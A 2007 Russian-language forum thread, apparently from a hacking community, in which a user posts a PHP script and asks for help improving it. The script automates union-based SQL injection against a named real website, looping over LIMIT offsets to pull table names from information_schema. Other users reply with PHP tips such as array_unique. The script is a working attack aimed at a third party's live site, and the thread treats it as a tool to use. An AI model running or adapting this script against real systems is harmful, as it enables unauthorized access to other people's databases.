Скрипт

Discussion in 'PHP' started by Termin@L, 21 Feb 2007.

  1. Termin@L

    Termin@L Elder - Старейшина

    Joined:
    7 Dec 2006
    Messages:
    183
    Likes Received:
    43
    Reputations:
    53
    Я бы поместил этот скрипт в соответствующий раздел, но он не доработан, т.к он достаточно короткий, то коментариев не писал, вроде всё понятно, суть его такова, все знают что в мускуле 5 появилась information_schema.tables - крайне полезная вещь, так вот иногда очень влом перебирать все таблицы в ручную, поэтому я решил написать прогу, которая сама это делает, от вас требуется указать адрес как в примере, примерное кол-во таблиц и слово стоящее в строке с печатаемым полем...
    А теперь вопрос - как сделать, чтобы после нахождения на странице 1 необходимого слова, начиналась проверяться следующая, другой вопрос - как сделать так, чтобы функция strpos() искала и хтмл-теги.
    PHP:
    <?php
    $host
    ='www.vera-nn.ru';
    $url='http://www.vera-nn.ru/credit.php?id=-1+union+select+table_name%20from%20information_schema.tables';
    $amt=5;
    $nrst='Кредит';
    for(
    $it=0;$it<$amt;$it++){
    $itt=$it+1;
    $url1=$url."%20limit%20$it,$itt/*";
    $fin=fsockopen($host,80);
    fputs($fin,"GET $url1 / HTTP/1.1\r\n");
    fputs($fin,"Hostname: $host\r\n");
    fputs($fin,"Connection: close\r\n");
    fputs($fin,"\r\n");
    while(!
    feof($fin))
    $ans[]=fgets($fin);
    fclose($fin);
    for(
    $i=0;$i<sizeof($ans);$i++){
    $srch=$ans[$i];

    $tst=strpos($srch,$nrst);
    if(!empty(
    $tst))
    $res[]=$ans[$i];
    unset(
    $tst);
    }
    echo 
    "$it done\n";
    }
    for(
    $i=0;$i<sizeof($res);$i++)
    echo 
    "$res[$i]\n";
    ?>
    P.S. Ну или хотябы как очистить массив $res от повторений?
     
  2. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    array_unique есть функция в php


    имхо это не исть гуд...
     
    #2 k1b0rg, 21 Feb 2007
    Last edited: 21 Feb 2007
  3. nc.STRIEM

    nc.STRIEM Members of Antichat

    Joined:
    5 Apr 2006
    Messages:
    1,036
    Likes Received:
    347
    Reputations:
    292
    в данном случае используй str_str()
     
  4. Termin@L

    Termin@L Elder - Старейшина

    Joined:
    7 Dec 2006
    Messages:
    183
    Likes Received:
    43
    Reputations:
    53
    всем спасибо,
    2 киборг, почему?
    кстати array_unique почему-то не работает, я уже пробовал